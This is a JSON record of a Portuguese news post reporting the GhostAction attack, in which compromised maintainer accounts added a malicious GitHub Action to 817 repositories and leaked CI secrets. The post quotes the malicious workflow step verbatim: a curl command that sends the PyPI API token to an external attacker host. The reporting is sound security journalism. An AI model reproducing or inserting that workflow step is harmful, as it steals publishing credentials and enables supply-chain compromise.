{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Durante o ataque GhostAction, 817 reposit\u00f3rios no GitHub foram comprometidos.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Pesquisadores da GitGuardian identificaram um ataque em massa aos usu\u00e1rios do GitHub, resultando no controle de 327 contas e na inser\u00e7\u00e3o de um manipulador malicioso do GitHub Action em 817 reposit\u00f3rios. O ataque levou ao vazamento de 3.325 segredos utilizados em sistemas de integra\u00e7\u00e3o cont\u00ednua, transmitidos por meio de vari\u00e1veis de ambiente, incluindo tokens de acesso ao PyPI, GitHub, NPM, DockerHub e v\u00e1rios servi\u00e7os de armazenamento em nuvem.      <center><img decoding=\"async\" alt=\"Durante o ataque GhostAction, 817 reposit\u00f3rios no GitHub foram comprometidos.\" src=\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>O GitHub Actions permite que desenvolvedores de c\u00f3digo anexem manipuladores para automatizar diversas opera\u00e7\u00f5es no GitHub. Por exemplo, com o GitHub Actions, \u00e9 poss\u00edvel executar determinadas verifica\u00e7\u00f5es e testes ao realizar commits ou automatizar o processamento de novas Issues. Um manipulador malicioso foi disseminado sob o nome &#171;Github Actions Security&#187; e inclu\u00eda na se\u00e7\u00e3o &#171;run&#187; um comando &#171;curl&#187; que enviava o conte\u00fado de vari\u00e1veis de ambiente para um host externo ao executar tarefas em um ambiente de integra\u00e7\u00e3o cont\u00ednua. O commit malicioso foi adicionado a partir de contas de mantenedores de projetos que provavelmente haviam sido hackeadas ou se tornaram v\u00edtimas de phishing.    <\/p>\n<p>O ataque foi identificado ap\u00f3s a an\u00e1lise de uma atividade an\u00f4mala relacionada ao pacote FastUUID, que fornece um wrapper Python sobre a biblioteca Rust UUID. O pacote FastUUID, que teve quase 1,2 milh\u00f5es de downloads na \u00faltima semana, \u00e9 usado como depend\u00eancia no popular projeto LiteLLM, que conta com mais de 5 milh\u00f5es de downloads na PyPI por semana. A an\u00e1lise das mudan\u00e7as no reposit\u00f3rio FastUUID mostrou que, em 2 de setembro, um mantenedor do projeto adicionou um commit com um novo manipulador do Github Action, que continha c\u00f3digo para enviar o token para o reposit\u00f3rio PyPI a um host externo.             &#8212; name: Github Actions Security          run: |            curl -s -X POST -d &#8216;PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}&#8217; https:\/\/bold-dhawan.45-139-104-115.plesk.page      <\/p>\n<p>O problema foi identificado antes que os criminosos pudessem usar o token interceptado &#8212; a publica\u00e7\u00e3o de altera\u00e7\u00f5es maliciosas ou vers\u00f5es modificadas do pacote na PyPI para o FastUUID n\u00e3o foi registrada. Substitui\u00e7\u00f5es similares de Github Action foram identificadas em mais 816 reposit\u00f3rios, cujos propriet\u00e1rios, assim como a administra\u00e7\u00e3o da PyPI, GitHub, NPM e DockerHub, receberam notifica\u00e7\u00f5es. At\u00e9 a noite de ontem, os commits maliciosos foram revertidos em cerca de 100 reposit\u00f3rios. Atualmente, ao buscar no GitHub, \u00e9 poss\u00edvel encontrar 671 commits com o Github Action malicioso.<br \/>\n<br \/>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=63831\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. \u0410\u0442\u0430\u043a\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 3325 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a PyPI, GitHub, NPM, DockerHub \u0438 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":142434,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-142433","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian 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